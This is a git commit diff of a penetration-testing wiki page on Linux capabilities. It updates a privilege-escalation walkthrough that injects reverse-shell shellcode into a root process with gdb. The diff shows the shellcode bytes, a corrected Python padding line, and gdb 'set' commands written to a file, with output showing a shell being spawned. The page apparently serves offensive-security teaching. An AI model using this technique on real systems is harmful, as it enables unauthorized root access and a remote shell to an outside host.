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Update linux-capabilities.md - cap_sys_admin

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- Fixed a bug in the Python code for a byte array with a length that is a multiple of 8.
- Added writing commands to the GDB file for more convenient use.
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Nikitin Timofey 2024-10-03 13:40:20 +03:00 committed by GitHub
parent e125ae7338
commit bf639ff00f
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1 changed files with 14 additions and 12 deletions
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linux-hardening/privilege-escalation/linux-capabilities.md
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@ -631,7 +631,7 @@ buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05" buf += b"\x0f\x05"
# Divisible by 8 # Divisible by 8
payload = b"\x90" * (8 - len(buf) % 8 ) + buf payload = b"\x90" * (-len(buf) % 8) + buf
# Change endianess and print gdb lines to load the shellcode in RIP directly # Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8): for i in range(0, len(buf), 8):
@ -646,21 +646,23 @@ for i in range(0, len(buf), 8):
Debug a root process with gdb ad copy-paste the previously generated gdb lines: Debug a root process with gdb ad copy-paste the previously generated gdb lines:
```bash ```bash
# Let's write the commands to a file
echo 'set {long}($rip+0) = 0x296a909090909090
set {long}($rip+8) = 0x5e016a5f026a9958
set {long}($rip+16) = 0x0002b9489748050f
set {long}($rip+24) = 0x48510b0e0a0a2923
set {long}($rip+32) = 0x582a6a5a106ae689
set {long}($rip+40) = 0xceff485e036a050f
set {long}($rip+48) = 0x6af675050f58216a
set {long}($rip+56) = 0x69622fbb4899583b
set {long}($rip+64) = 0x8948530068732f6e
set {long}($rip+72) = 0x050fe689485752e7
c' > commands.gdb
# In this case there was a sleep run by root # In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode ## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep) /usr/bin/gdb -p $(pgrep sleep)
[...] [...]
(gdb) set {long}($rip+0) = 0x296a909090909090 (gdb) source commands.gdb
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing. Continuing.
process 207009 is executing new program: /usr/bin/dash process 207009 is executing new program: /usr/bin/dash
[...] [...]